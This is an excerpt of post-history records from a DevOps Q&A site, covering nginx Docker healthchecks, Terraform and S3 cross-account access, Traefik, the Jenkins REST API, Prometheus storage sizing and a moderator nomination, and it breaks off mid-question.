  <row Id="27396" PostHistoryTypeId="6" PostId="9285" RevisionGUID="4cdc9d56-76fa-47ea-869e-c492eacf5207" CreationDate="2019-09-27T01:47:00.470" UserId="4852" Comment="Formatting" Text="&lt;ansible&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27397" PostHistoryTypeId="24" PostId="9285" RevisionGUID="4cdc9d56-76fa-47ea-869e-c492eacf5207" CreationDate="2019-09-27T01:47:00.470" Comment="Proposed by 4852 approved by 40, 739 edit id of 1080" ContentLicense="CC BY-SA 4.0" />
  <row Id="27401" PostHistoryTypeId="50" PostId="9033" RevisionGUID="7f8e2c2b-013a-4536-89e6-afa2affbe19e" CreationDate="2019-09-27T06:02:05.577" UserId="-1" />
  <row Id="27403" PostHistoryTypeId="5" PostId="5247" RevisionGUID="14df4817-637f-46b3-8da6-9c388afed327" CreationDate="2019-09-27T07:40:07.967" UserId="40" Comment="fix formatting" Text="We have the following DockerFile&#xD;&#xA;&#xD;&#xA;    FROM nginx&#xD;&#xA;    RUN apt-get update &amp;&amp; apt-get install -y curl \&#xD;&#xA;    &amp;&amp; rm -rf /var/lib/apt/lists/*&#xD;&#xA;    COPY nginx.conf /etc/nginx/nginx.conf&#xD;&#xA;    EXPOSE 443&#xD;&#xA;    WORKDIR /etc/nginx&#xD;&#xA;    # Set the default command to execute&#xD;&#xA;    # when creating a new container&#xD;&#xA;    CMD [&quot;nginx&quot;, &quot;-g&quot;, &quot;daemon off;&quot;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here is the nginx.conf below. The container builds and runs fine.Curling the /health endpoint works both inside the container and outside.  The moment we add a healthcheck to the docker compose file like this, not only does the healthcheck not pass but the /health endpoint can't be curled either inside or outside the container also the container doesn't accept any requests. The healthcheck statement breaks it totally. This is  happening on digital ocean droplet running docker 18.06 ubuntu 16.04&#xD;&#xA;&#xD;&#xA;     healthcheck: &#xD;&#xA;       test: curl -f https://myserver.co.uk/health || exit 1&#xD;&#xA;       interval: 60s&#xD;&#xA;       timeout: 30s&#xD;&#xA;       retries:2&#xD;&#xA;       start_period:5m&#xD;&#xA;&#xD;&#xA;Nginx.conf&#xD;&#xA;&#xD;&#xA;     user www-data;&#xD;&#xA;     worker_processes 4;&#xD;&#xA;     pid /run/nginx.pid;&#xD;&#xA;&#xD;&#xA;     events {&#xD;&#xA;    	worker_connections 768;&#xD;&#xA;	  # multi_accept on;&#xD;&#xA;     }&#xD;&#xA;&#xD;&#xA;     http {&#xD;&#xA;&#xD;&#xA;	##&#xD;&#xA;	# Basic Settings&#xD;&#xA;	##&#xD;&#xA;&#xD;&#xA;	sendfile on;&#xD;&#xA;	tcp_nopush on;&#xD;&#xA;	tcp_nodelay on;&#xD;&#xA;	keepalive_timeout 65;&#xD;&#xA;	types_hash_max_size 2048;&#xD;&#xA;	# server_tokens off;&#xD;&#xA;&#xD;&#xA;	# server_names_hash_bucket_size 64;&#xD;&#xA;	# server_name_in_redirect off;&#xD;&#xA;&#xD;&#xA;	include /etc/nginx/mime.types;&#xD;&#xA;	default_type application/octet-stream;&#xD;&#xA;&#xD;&#xA;	##&#xD;&#xA;	# Logging Settings&#xD;&#xA;	##&#xD;&#xA;&#xD;&#xA;	access_log /var/log/nginx/access.log;&#xD;&#xA;	error_log /var/log/nginx/error.log;&#xD;&#xA;&#xD;&#xA;	##&#xD;&#xA;	# Gzip Settings&#xD;&#xA;	##&#xD;&#xA;&#xD;&#xA;	gzip on;&#xD;&#xA;	gzip_disable &quot;msie6&quot;;&#xD;&#xA;&#xD;&#xA;	# gzip_vary on;&#xD;&#xA;	# gzip_proxied any;&#xD;&#xA;	# gzip_comp_level 6;&#xD;&#xA;	# gzip_buffers 16 8k;&#xD;&#xA;	# gzip_http_version 1.1;&#xD;&#xA;	# gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;&#xD;&#xA;&#xD;&#xA;	##&#xD;&#xA;	# nginx-naxsi config&#xD;&#xA;	##&#xD;&#xA;	# Uncomment it if you installed nginx-naxsi&#xD;&#xA;	##&#xD;&#xA;&#xD;&#xA;	#include /etc/nginx/naxsi_core.rules;&#xD;&#xA;&#xD;&#xA;	##&#xD;&#xA;	# nginx-passenger config&#xD;&#xA;	##&#xD;&#xA;	# Uncomment it if you installed nginx-passenger&#xD;&#xA;	##&#xD;&#xA;&#xD;&#xA;	#passenger_root /usr;&#xD;&#xA;	#passenger_ruby /usr/bin/ruby;&#xD;&#xA;&#xD;&#xA;	##&#xD;&#xA;	# Virtual Host Configs&#xD;&#xA;	##&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;        #ssl_dhparam /etc/ssl/private/dhparam.pem;&#xD;&#xA;&#xD;&#xA;	server {  &#xD;&#xA;    		listen 443;&#xD;&#xA;                ssl         on;&#xD;&#xA;    		ssl_certificate       /etc/nginx/certs/push_bundle.crt;&#xD;&#xA;    		ssl_certificate_key   /etc/nginx/certs/push_bundle.crt;&#xD;&#xA;&#xD;&#xA;			location /health {&#xD;&#xA;        		return 200 'alive';&#xD;&#xA;        		add_header Content-Type text/plain;&#xD;&#xA;    		}&#xD;&#xA;&#xD;&#xA;    		location / {&#xD;&#xA;        		proxy_http_version 1.1;&#xD;&#xA;        		proxy_cache_bypass $http_upgrade;&#xD;&#xA;        		proxy_set_header Upgrade $http_upgrade;&#xD;&#xA;        		proxy_set_header Connection 'upgrade';&#xD;&#xA;        		proxy_set_header Host $host;&#xD;&#xA;        		proxy_set_header X-Real-IP $remote_addr;&#xD;&#xA;        		proxy_pass http://localhost:1337/;&#xD;&#xA;    		}&#xD;&#xA;&#xD;&#xA;    	}&#xD;&#xA;    }	" ContentLicense="CC BY-SA 4.0" />
  <row Id="27407" PostHistoryTypeId="50" PostId="4863" RevisionGUID="c8f47654-e98c-4244-a018-a0de4b0902c4" CreationDate="2019-09-27T08:00:55.217" UserId="-1" />
  <row Id="27410" PostHistoryTypeId="2" PostId="9295" RevisionGUID="61ceadb2-f756-4d55-9027-e10f517017a1" CreationDate="2019-09-27T09:20:24.687" UserId="9609" Text="You can have two approaches:&#xD;&#xA;&#xD;&#xA; 1. Assume the role that has access to the AWS bucket. Assume this role in every account (don't forget to set up trust relationship). This is your approach. I think the issue might be some objects (state files) were created in a different way. Other culprit can be an account-specific KMS key that is used to create the objects. Don't forget, KMS keys are region-specific.&#xD;&#xA;&#xD;&#xA; 2. You grant access to other “users” via the S3 UI. (At the time of writing it is not supported by the Terraform AWS Provider.) &#xD;&#xA;  1. Go to the S3 bucket -&gt; Permissions -&gt; Access Control List -&gt; Access for other AWS accounts -&gt; Add account&#xD;&#xA;  2. [Find the canonical ID][1] for the account you want to give permission to.&#xD;&#xA;  3. Set the bucket-level and object-level permissions. Beware, the Principal (owner) of the object will be different, so the account that actually hosts the bucket might not have access to it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/general/latest/gr/acct-identifiers.html?#FindingCanonicalId" ContentLicense="CC BY-SA 4.0" />
  <row Id="27414" PostHistoryTypeId="2" PostId="9296" RevisionGUID="eba47835-32ec-4a6c-b11c-5c475e17f844" CreationDate="2019-09-27T10:57:58.580" UserId="9609" Text="Your default security groups and newly created security groups include default rules that **do not enable you to access your instance from the Internet**.&#xD;&#xA;Add this:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&lt;code&gt;&#xD;&#xA;resource &quot;aws_security_group&quot; &quot;allow-ssh&quot; {&#xD;&#xA;  vpc_id = &quot;${aws_vpc.vpc.id}&quot;&#xD;&#xA;&#xD;&#xA;  ingress {&#xD;&#xA;    from_port = 0&#xD;&#xA;    to_port = 22&#xD;&#xA;    protocol = &quot;tcp&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;Then add the line `vpc_security_group_ids = [aws_security_group.allow-ssh.id]` to the instance definitions." ContentLicense="CC BY-SA 4.0" />
  <row Id="27415" PostHistoryTypeId="5" PostId="5377" RevisionGUID="723dc4fd-bfda-48bb-b96c-852dcd062bcb" CreationDate="2019-09-27T12:03:49.110" UserId="40" Comment="Integrate comments from OPer " Text="I have Traefik reverse proxy running to allow a couple of docker containerized apps to run on the same domain just to learn about running multiple containers following https://www.smarthomebeginner.com/traefik-reverse-proxy-tutorial-for-docker. Everything works well.  I want to install Device Hive to test it as an IOT platform, but it has multiple containers and it's own nginx proxy and docker-compose file https://github.com/devicehive/devicehive-docker/blob/master/rdbms-image/docker-compose.yml.&#xD;&#xA;&#xD;&#xA;Is there a way I can add the Device Hive platform to my existing Traefik build or is it more trouble than its worth.  I wondering, more or less while making sure I'm not having a port conflict, if there's an easy way to have Traefik point a subdomain(subdomains are used for the other apps) to the 80/443 ports of the nginx proxy, and just have everything work.  My other option is to create another VM for the IOT platform. &#xD;&#xA;&#xD;&#xA;I may be searching with the wrong terms but I haven't really found an answer. Any help?&#xD;&#xA;&#xD;&#xA;Note: I want to use Device Hive on my existing server which is using Traefik. When I look at the docker compose file for Device Hive I don't see how I could change it to leave Nginx out." ContentLicense="CC BY-SA 4.0" />
  <row Id="27416" PostHistoryTypeId="4" PostId="5377" RevisionGUID="723dc4fd-bfda-48bb-b96c-852dcd062bcb" CreationDate="2019-09-27T12:03:49.110" UserId="40" Comment="Integrate comments from OPer " Text="How should I run a multicontainer app/platform with nginx behind traefik?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27417" PostHistoryTypeId="6" PostId="9287" RevisionGUID="38d29250-1b3d-4475-95e7-9f918460456a" CreationDate="2019-09-27T13:43:25.747" UserId="17259" Comment="edited tags" Text="&lt;jenkins&gt;&lt;git&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27418" PostHistoryTypeId="2" PostId="9297" RevisionGUID="152133f8-2d0f-4fff-955c-611ab3c8e4f7" CreationDate="2019-09-27T14:28:22.983" UserId="47" Text="One possibility would be via the Jenkins REST API. I guess the recipe below would be dependent on the particular Jenkins version, so you may need to tweak it a bit. The version I looked at was 2.176.1&#xD;&#xA;&#xD;&#xA;Go the Jenkins page for the folder in which you want the job created/restored.&#xD;&#xA;On the page's footer you'll see a `REST API` link, go there.&#xD;&#xA;&#xD;&#xA;On the `REST API` page you have all sorts of links, customized for your particular Jenkins server and job folder. You're looking for this section:&#xD;&#xA;&#xD;&#xA;&gt; Create Job&#xD;&#xA;&gt; &#xD;&#xA;&gt; To create a new job, post `config.xml` to [this URL][1] with query&#xD;&#xA;&gt; parameter name=JOBNAME. You need to send a `Content-Type:&#xD;&#xA;&gt; application/xml` header. You will get a `200` status code if the&#xD;&#xA;&gt; creation is successful, or `4xx`/`5xx` code if it fails. `config.xml`&#xD;&#xA;&gt; is the format Jenkins uses to store the project in the file system, so&#xD;&#xA;&gt; you can see examples of them in the Jenkins home directory, or by&#xD;&#xA;&gt; retrieving the XML configuration of existing jobs from&#xD;&#xA;&gt; `/job/JOBNAME/config.xml`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://your_jenkins_server/your_job_folder_path/createItem" ContentLicense="CC BY-SA 4.0" />
  <row Id="27419" PostHistoryTypeId="2" PostId="9298" RevisionGUID="b900da8a-5e5a-4171-8913-7cd44c1a951d" CreationDate="2019-09-27T15:41:45.270" UserId="17318" Text="We are trying to calculate the storage requirements but is unable to find the values needed to do the calculation for our version of Prometheus (v2.2).&#xD;&#xA;&#xD;&#xA;[Prometheus(v2.2) storage][1] documentation gives this simple formula:&#xD;&#xA;&#xD;&#xA;    needed_disk_space = retention_time_seconds * ingested_samples_per_second * bytes_per_sample&#xD;&#xA;&#xD;&#xA;* **retention_time_seconds**: We took our retention time of 720 hours and converted to `2 592 000`seconds.&#xD;&#xA;* **bytes_per_sample**: We used `rate(prometheus_tsdb_compaction_chunk_size_bytes_sum[1d]) / rate(prometheus_tsdb_compaction_chunk_samples_sum[1d])` based on the formula from [this site][2], except we did not have `prometheus_tsdb_compaction_chunk_size_bytes_sum` so used `prometheus_tsdb_compaction_chunk_size_sum` instead. This gives us ~`1.3`, which sounds about right.&#xD;&#xA;* **ingested_samples_per_second**: We cannot find a way to get this value. We tried the following:&#xD;&#xA;    - [This site][3] suggest `prometheus_local_storage_chunk_ops_total`, but we do not have this metric.&#xD;&#xA;    - [This][4] uses `rate(prometheus_tsdb_head_samples_appended_total[1h])`, but the result is ~`18600` suggesting `68TiB` storage.&#xD;&#xA;    - [This][5] uses `prometheus_local_storage_ingested_samples_total`, but again, it is not available to us.&#xD;&#xA;    - Finally [this issue][6] says to use `rate(prometheus_local_storage_ingested_samples_total[2m])`, and once again, it is not available to us.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any assitance or nudge in the right direction would be much appreciated.&#xD;&#xA;&#xD;&#xA;  [1]: https://prometheus.io/docs/prometheus/2.2/storage/&#xD;&#xA;  [2]: https://www.robustperception.io/how-much-ram-does-prometheus-2-x-need-for-cardinality-and-ingestion&#xD;&#xA;  [3]: https://logz.io/blog/prometheus-monitoring/&#xD;&#xA;  [4]: https://www.robustperception.io/how-much-disk-space-do-prometheus-blocks-use&#xD;&#xA;  [5]: https://groups.google.com/forum/#!topic/prometheus-users/kq5azoNNKUs&#xD;&#xA;  [6]: https://github.com/prometheus/prometheus/issues/1573" ContentLicense="CC BY-SA 4.0" />
  <row Id="27420" PostHistoryTypeId="1" PostId="9298" RevisionGUID="b900da8a-5e5a-4171-8913-7cd44c1a951d" CreationDate="2019-09-27T15:41:45.270" UserId="17318" Text="How to calculate disk space required by Prometheus v2.2?" ContentLicense="CC BY-SA 4.0" />
  <row Id="27421" PostHistoryTypeId="3" PostId="9298" RevisionGUID="b900da8a-5e5a-4171-8913-7cd44c1a951d" CreationDate="2019-09-27T15:41:45.270" UserId="17318" Text="&lt;prometheus&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27422" PostHistoryTypeId="5" PostId="9298" RevisionGUID="e436b63e-bd0a-4306-becc-3681c393b147" CreationDate="2019-09-27T17:03:42.037" UserId="17318" Comment="Quoted referenced web sites" Text="We are trying to calculate the storage requirements but is unable to find the values needed to do the calculation for our version of Prometheus (v2.2).&#xD;&#xA;&#xD;&#xA;[Prometheus(v2.2) storage][1] documentation gives this simple formula:&#xD;&#xA;&#xD;&#xA;    needed_disk_space = retention_time_seconds * ingested_samples_per_second * bytes_per_sample&#xD;&#xA;&#xD;&#xA;* **retention_time_seconds**: We took our retention time of 720 hours and converted to `2 592 000`seconds.&#xD;&#xA;* **bytes_per_sample**: We used `rate(prometheus_tsdb_compaction_chunk_size_bytes_sum[1d]) / rate(prometheus_tsdb_compaction_chunk_samples_sum[1d])` based on the formula from [this site][2], except we did not have `prometheus_tsdb_compaction_chunk_size_bytes_sum` so used `prometheus_tsdb_compaction_chunk_size_sum` instead. This gives us ~`1.3`, which sounds about right.&#xD;&#xA;* **ingested_samples_per_second**: We cannot find a way to get this value. We tried the following:&#xD;&#xA;    - [This site][3] suggest `prometheus_local_storage_chunk_ops_total`, but we do not have this metric.&#xD;&#xA;&gt; Another useful metric to query and visualize is the prometheus_local_storage_chunk_ops_total metric that reports the per-second rate of all storage chunk operations taking place in Prometheus.&#xD;&#xA;&#xD;&#xA;    - [This][4] uses `rate(prometheus_tsdb_head_samples_appended_total[1h])`, but the result is ~`18600` suggesting `68TiB` storage.&#xD;&#xA;&gt; Combined with rate(prometheus_tsdb_head_samples_appended_total[1h]) for the samples ingested per second, you should have a good idea of how much disk space you need given your retention window.&#xD;&#xA;    - [This][5] uses `prometheus_local_storage_ingested_samples_total`, but again, it is not available to us.&#xD;&#xA;&gt; sample rate = rate(prometheus_local_storage_ingested_samples_total{job=&quot;prometheus&quot;,instance=&quot;$Prometheus:9090&quot;}[1m])&#xD;&#xA;    - Finally [this issue][6] says to use `rate(prometheus_local_storage_ingested_samples_total[2m])`, and once again, it is not available to us.&#xD;&#xA;&gt; The other side is ingestion, which is way easier to reason with capacity-wise. You can find out how many samples your server is ingesting with this query:&#xD;&#xA;rate(prometheus_local_storage_ingested_samples_total[2m])&#xD;&#xA;&#xD;&#xA;Any assitance or nudge in the right direction would be much appreciated.&#xD;&#xA;&#xD;&#xA;  [1]: https://prometheus.io/docs/prometheus/2.2/storage/&#xD;&#xA;  [2]: https://www.robustperception.io/how-much-ram-does-prometheus-2-x-need-for-cardinality-and-ingestion&#xD;&#xA;  [3]: https://logz.io/blog/prometheus-monitoring/&#xD;&#xA;  [4]: https://www.robustperception.io/how-much-disk-space-do-prometheus-blocks-use&#xD;&#xA;  [5]: https://groups.google.com/forum/#!topic/prometheus-users/kq5azoNNKUs&#xD;&#xA;  [6]: https://github.com/prometheus/prometheus/issues/1573" ContentLicense="CC BY-SA 4.0" />
  <row Id="27423" PostHistoryTypeId="5" PostId="9298" RevisionGUID="b52a7f97-65da-40ef-a4c3-6ba86a10befe" CreationDate="2019-09-27T17:33:22.907" UserId="17318" Comment="Added another reference tried" Text="We are trying to calculate the storage requirements but is unable to find the values needed to do the calculation for our version of Prometheus (v2.2).&#xD;&#xA;&#xD;&#xA;[Prometheus(v2.2) storage][1] documentation gives this simple formula:&#xD;&#xA;&#xD;&#xA;    needed_disk_space = retention_time_seconds * ingested_samples_per_second * bytes_per_sample&#xD;&#xA;&#xD;&#xA;* **retention_time_seconds**: We took our retention time of 720 hours and converted to `2 592 000`seconds.&#xD;&#xA;* **bytes_per_sample**: We used `rate(prometheus_tsdb_compaction_chunk_size_bytes_sum[1d]) / rate(prometheus_tsdb_compaction_chunk_samples_sum[1d])` based on the formula from [this site][2], except we did not have `prometheus_tsdb_compaction_chunk_size_bytes_sum` so used `prometheus_tsdb_compaction_chunk_size_sum` instead. This gives us ~`1.3`, which sounds about right.&#xD;&#xA;* **ingested_samples_per_second**: We cannot find a way to get this value. We tried the following:&#xD;&#xA;    - [This site][3] suggest `prometheus_local_storage_chunk_ops_total`, but we do not have this metric.&#xD;&#xA;&gt; Another useful metric to query and visualize is the prometheus_local_storage_chunk_ops_total metric that reports the per-second rate of all storage chunk operations taking place in Prometheus.&#xD;&#xA;&#xD;&#xA;    - [This][4] uses `rate(prometheus_tsdb_head_samples_appended_total[1h])`, but the result is ~`18600` suggesting `68TiB` storage.&#xD;&#xA;&gt; Combined with rate(prometheus_tsdb_head_samples_appended_total[1h]) for the samples ingested per second, you should have a good idea of how much disk space you need given your retention window.&#xD;&#xA;    - As above, [this issue][5] mentions `rate(tsdb_samples_appended_total[5m])`, but probably meant (or what we got working is) `rate(prometheus_tsdb_head_samples_appended_total[5m])`&#xD;&#xA;&gt; You can still get samples per second via rate(tsdb_samples_appended_total[5m]).&#xD;&#xA;    - [This][6] uses `prometheus_local_storage_ingested_samples_total`, but again, it is not available to us.&#xD;&#xA;&gt; sample rate = rate(prometheus_local_storage_ingested_samples_total{job=&quot;prometheus&quot;,instance=&quot;$Prometheus:9090&quot;}[1m])&#xD;&#xA;    - Finally [this issue][7] also says to use `rate(prometheus_local_storage_ingested_samples_total[2m])`, and once again, it is not available to us.&#xD;&#xA;&gt; The other side is ingestion, which is way easier to reason with capacity-wise. You can find out how many samples your server is ingesting with this query:&#xD;&#xA;rate(prometheus_local_storage_ingested_samples_total[2m])&#xD;&#xA;&#xD;&#xA;Any assitance or nudge in the right direction would be much appreciated.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://prometheus.io/docs/prometheus/2.2/storage/&#xD;&#xA;  [2]: https://www.robustperception.io/how-much-ram-does-prometheus-2-x-need-for-cardinality-and-ingestion&#xD;&#xA;  [3]: https://logz.io/blog/prometheus-monitoring/&#xD;&#xA;  [4]: https://www.robustperception.io/how-much-disk-space-do-prometheus-blocks-use&#xD;&#xA;  [5]: https://github.com/prometheus/tsdb/issues/123&#xD;&#xA;  [6]: https://groups.google.com/forum/#!topic/prometheus-users/kq5azoNNKUs&#xD;&#xA;  [7]: https://github.com/prometheus/prometheus/issues/1573" ContentLicense="CC BY-SA 4.0" />
  <row Id="27424" PostHistoryTypeId="2" PostId="9299" RevisionGUID="9a2f36b1-125c-490f-ab9e-8d6df64380e4" CreationDate="2019-09-27T17:37:30.833" UserId="15792" Text="I think your math may be off.  If you use the ~18600 number you found I get a very different result from 68TiB:&#xD;&#xA;&#xD;&#xA;`2,592,000 (seconds) * 18600 (samples/second) * 1.3 (bytes/sample) = 62,674,560,000 (bytes)`.  This is ~62.675 Gigabytes (divide the digital storage value by 1e+9&#xD;&#xA;) and I'm guessing a more reasonable number for your infrastructure." ContentLicense="CC BY-SA 4.0" />
  <row Id="27425" PostHistoryTypeId="50" PostId="9034" RevisionGUID="7db29e00-cd86-477c-9650-dce7b1e284c3" CreationDate="2019-09-27T18:00:50.393" UserId="-1" />
  <row Id="27426" PostHistoryTypeId="5" PostId="9298" RevisionGUID="07aaa38b-4512-4e0a-a2a9-83c000b6f485" CreationDate="2019-09-27T18:03:49.233" UserId="17318" Comment="Add answer" Text="We are trying to calculate the storage requirements but is unable to find the values needed to do the calculation for our version of Prometheus (v2.2).&#xD;&#xA;&#xD;&#xA;[Prometheus(v2.2) storage][1] documentation gives this simple formula:&#xD;&#xA;&#xD;&#xA;    needed_disk_space = retention_time_seconds * ingested_samples_per_second * bytes_per_sample&#xD;&#xA;&#xD;&#xA;* **retention_time_seconds**: We took our retention time of 720 hours and converted to `2 592 000`seconds.&#xD;&#xA;* **bytes_per_sample**: We used `rate(prometheus_tsdb_compaction_chunk_size_bytes_sum[1d]) / rate(prometheus_tsdb_compaction_chunk_samples_sum[1d])` based on the formula from [this site][2], except we did not have `prometheus_tsdb_compaction_chunk_size_bytes_sum` so used `prometheus_tsdb_compaction_chunk_size_sum` instead. This gives us ~`1.3`, which sounds about right.&#xD;&#xA;* **ingested_samples_per_second**: We cannot find a way to get this value. We tried the following:&#xD;&#xA;    - [This site][3] suggest `prometheus_local_storage_chunk_ops_total`, but we do not have this metric.&#xD;&#xA;&gt; Another useful metric to query and visualize is the prometheus_local_storage_chunk_ops_total metric that reports the per-second rate of all storage chunk operations taking place in Prometheus.&#xD;&#xA;&#xD;&#xA;    - [This][4] uses `rate(prometheus_tsdb_head_samples_appended_total[1h])`, but the result is ~`18600` suggesting `68TiB` storage.&#xD;&#xA;&gt; Combined with rate(prometheus_tsdb_head_samples_appended_total[1h]) for the samples ingested per second, you should have a good idea of how much disk space you need given your retention window.&#xD;&#xA;    - As above, [this issue][5] mentions `rate(tsdb_samples_appended_total[5m])`, but probably meant (or what we got working is) `rate(prometheus_tsdb_head_samples_appended_total[5m])`&#xD;&#xA;&gt; You can still get samples per second via rate(tsdb_samples_appended_total[5m]).&#xD;&#xA;    - [This][6] uses `prometheus_local_storage_ingested_samples_total`, but again, it is not available to us.&#xD;&#xA;&gt; sample rate = rate(prometheus_local_storage_ingested_samples_total{job=&quot;prometheus&quot;,instance=&quot;$Prometheus:9090&quot;}[1m])&#xD;&#xA;    - Finally [this issue][7] also says to use `rate(prometheus_local_storage_ingested_samples_total[2m])`, and once again, it is not available to us.&#xD;&#xA;&gt; The other side is ingestion, which is way easier to reason with capacity-wise. You can find out how many samples your server is ingesting with this query:&#xD;&#xA;rate(prometheus_local_storage_ingested_samples_total[2m])&#xD;&#xA;&#xD;&#xA;Any assitance or nudge in the right direction would be much appreciated.&#xD;&#xA;&#xD;&#xA;**&gt;&gt;&gt; What worked in the end &lt;&lt;&lt;**&#xD;&#xA;&#xD;&#xA;As was pointed out, our math was broken, so the below metrics worked for the calculation.&#xD;&#xA;&#xD;&#xA;* **ingestion_samples_per_second**: `rate(prometheus_tsdb_head_samples_appended_total[2h])`&#xD;&#xA;* **bytes_per_sample**: `rate(prometheus_tsdb_compaction_chunk_size_sum[2h]) / rate(prometheus_tsdb_compaction_chunk_samples_sum[2h])`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://prometheus.io/docs/prometheus/2.2/storage/&#xD;&#xA;  [2]: https://www.robustperception.io/how-much-ram-does-prometheus-2-x-need-for-cardinality-and-ingestion&#xD;&#xA;  [3]: https://logz.io/blog/prometheus-monitoring/&#xD;&#xA;  [4]: https://www.robustperception.io/how-much-disk-space-do-prometheus-blocks-use&#xD;&#xA;  [5]: https://github.com/prometheus/tsdb/issues/123&#xD;&#xA;  [6]: https://groups.google.com/forum/#!topic/prometheus-users/kq5azoNNKUs&#xD;&#xA;  [7]: https://github.com/prometheus/prometheus/issues/1573" ContentLicense="CC BY-SA 4.0" />
  <row Id="27444" PostHistoryTypeId="2" PostId="9303" RevisionGUID="ebd8ec88-be46-44a3-94c6-6ee94c2ebefe" CreationDate="2019-09-28T10:12:15.067" UserId="14681" Text="I'm trying to setup a CI/CD pipeline for a dotnet app which uses AWS Lambda and AWS CDK for infrastructure. The source is on github and we have a Jenkins pipeline which runs the tests and publishes the artifacts. I want to use the artifact and deploy (or better use Code Deploy)&#xD;&#xA;&#xD;&#xA;Can I use CodePipeline to run cdk deploy?  &#xD;&#xA;How can I use CodeDeploy to do a ```dotnet test``` and ```dotnet publish```? and then pass on the artifact to CodePipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="27445" PostHistoryTypeId="1" PostId="9303" RevisionGUID="ebd8ec88-be46-44a3-94c6-6ee94c2ebefe" CreationDate="2019-09-28T10:12:15.067" UserId="14681" Text="Setting up CI/CD for an AWS CDK app using AWS CodeBuild/Deploy/Pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="27446" PostHistoryTypeId="3" PostId="9303" RevisionGUID="ebd8ec88-be46-44a3-94c6-6ee94c2ebefe" CreationDate="2019-09-28T10:12:15.067" UserId="14681" Text="&lt;aws-codedeploy&gt;&lt;aws-codepipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27448" PostHistoryTypeId="6" PostId="9303" RevisionGUID="4d4f3c15-60aa-4e96-810b-f2d4202c3bc5" CreationDate="2019-09-28T10:37:43.430" UserId="14681" Comment="updated tags" Text="&lt;cicd&gt;&lt;dotnet&gt;&lt;aws-codedeploy&gt;&lt;aws-codepipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="27455" PostHistoryTypeId="2" PostId="9304" RevisionGUID="590bccbb-6355-494c-8143-2a9140e8c189" CreationDate="2019-09-28T18:05:01.977" UserId="40" Text="# Professional bachground&#xD;&#xA;&#xD;&#xA;I work, fulltime, in the world of DevOps for over 3 decades, in 3 continents, at multiple global companies. And this in the area of SCM (Software Configuration Management), applied in huge mainframe environments.&#xD;&#xA;&#xD;&#xA;My favorite SCM tool is ChangeMan ZMF, for which I'm considered as 1 of the most experienced senior technical consultants around the world.&#xD;&#xA;&#xD;&#xA;These days I spend most of my professional time in the area of DevOps in some major European financial institutions, in 5 countries.&#xD;&#xA;&#xD;&#xA;I also have lots of experience with Drupal and Linux, for 10 to 15 years.&#xD;&#xA;&#xD;&#xA;# Moderation motivation&#xD;&#xA;&#xD;&#xA;I have user id=40 on DevOps.SE (= early adoptor of it, I joined it during the private beta phase). And visited it every day.&#xD;&#xA;&#xD;&#xA;Joning the moderation team seems to me like a natural extension of the various *Review* tasks I've been doing so far (with my limited moderation privileges). For more details:&#xD;&#xA;&#xD;&#xA;- Visit the `/review` pages, and visit any of the 6 related links labeled *Review stats*. Then check the *Top Reviewers all time* ... Repeat for each link.&#xD;&#xA;&#xD;&#xA;- Check my profile page for the various *moderation / editing / participation* badges I earned." ContentLicense="CC BY-SA 4.0" />
  <row Id="27456" PostHistoryTypeId="5" PostId="9304" RevisionGUID="3b96a547-6ac9-451a-a7e1-99eeea2ea346" CreationDate="2019-09-28T20:40:15.917" UserId="40" Comment="edited body" Text="# Professional background&#xD;&#xA;&#xD;&#xA;I work, fulltime, in the world of DevOps for over 3 decades, in 3 continents, at multiple global companies. And this in the area of SCM (Software Configuration Management), applied in huge mainframe environments.&#xD;&#xA;&#xD;&#xA;My favorite SCM tool is ChangeMan ZMF, for which I'm considered as 1 of the most experienced senior technical consultants around the world.&#xD;&#xA;&#xD;&#xA;These days I spend most of my professional time in the area of DevOps in some major European financial institutions, in 5 countries.&#xD;&#xA;&#xD;&#xA;I also have lots of experience with Drupal and Linux, for 10 to 15 years.&#xD;&#xA;&#xD;&#xA;# Moderation motivation&#xD;&#xA;&#xD;&#xA;I have user id=40 on DevOps.SE (= early adoptor of it, I joined it during the private beta phase). And visited it every day.&#xD;&#xA;&#xD;&#xA;Joning the moderation team seems to me like a natural extension of the various *Review* tasks I've been doing so far (with my limited moderation privileges). For more details:&#xD;&#xA;&#xD;&#xA;- Visit the `/review` pages, and visit any of the 6 related links labeled *Review stats*. Then check the *Top Reviewers all time* ... Repeat for each link.&#xD;&#xA;&#xD;&#xA;- Check my profile page for the various *moderation / editing / participation* badges I earned." ContentLicense="CC BY-SA 4.0" />
  <row Id="27458" PostHistoryTypeId="5" PostId="5895" RevisionGUID="94f0f696-1e2f-40b6-b1ac-a74ae28468b5" CreationDate="2019-09-28T21:07:59.840" UserId="40" Comment="fix typos" Text="I am in the middle of trying to implement a build/deploy job in Jenkins by which the latest version of source code is pulled from git, built and then deployed to GCP. So far I am able to retrieve the lastest code from GIT but have run into issues when tyring to build. The application being built/deployed is an Angular 7 web site using npm for package management. So the normal steps would be to run npm install to make sure the packages are installed and then ng build -- prod to build the app.&#xD;&#xA;&#xD;&#xA;My issue is that the version of npm/nodejs in the master node is out of date and not compatable with Angular 7. Even just trying the command to gert the current ng version fails:&#xD;&#xA;&#xD;&#xA;    + /usr/bin/ng v&#xD;&#xA;    You are running version v8.1.4 of Node.js, which is not supported by Angular CLI v6.&#xD;&#xA;    The official Node.js version that is supported is 8.9 and greater.&#xD;&#xA;&#xD;&#xA;I added a call to npm version to check the npm 